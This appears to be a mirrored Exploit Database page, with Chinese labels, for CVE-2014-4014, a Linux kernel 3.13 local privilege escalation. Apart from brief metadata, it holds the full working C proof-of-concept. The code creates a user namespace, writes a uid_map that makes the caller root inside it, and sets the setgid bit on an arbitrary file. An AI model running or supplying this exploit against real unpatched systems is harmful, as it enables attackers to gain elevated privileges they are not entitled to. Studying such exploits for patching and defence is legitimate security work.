Linux Kernel 3.13 – SGID Privilege Escalation

• Exploit Database
• 110 阅读

• 作者： Vitaly Nikolenko
  日期： 2014-06-21
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/33824/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73

  /** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://hashcrack.org * * Usage: ./poc [file_path] * * where file_path is the file on which you want to set the sgid bit */ #define _GNU_SOURCE #include <sys/wait.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <string.h> #include <assert.h>   #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE];   struct args { int pipe_fd[2]; char *file_path; };   static int child(void *arg) { struct args *f_args = (struct args *)arg; char c;   // close stdout close(f_args->pipe_fd[1]);   assert(read(f_args->pipe_fd[0], &c, 1) == 0);   // set the setgid bit chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);   return 0; }   int main(int argc, char *argv[]) { int fd; pid_t pid; char mapping[1024]; char map_file[PATH_MAX]; struct args f_args;   assert(argc == 2);   f_args.file_path = argv[1]; // create a pipe for synching the child and parent assert(pipe(f_args.pipe_fd) != -1);   pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args); assert(pid != -1);   // get the current uid outside the namespace snprintf(mapping, 1024, "0 %d 1\n", getuid());   // update uid and gid maps in the child snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid); fd = open(map_file, O_RDWR); assert(fd != -1);   assert(write(fd, mapping, strlen(mapping)) == strlen(mapping)); close(f_args.pipe_fd[1]);   assert (waitpid(pid, NULL, 0) != -1); }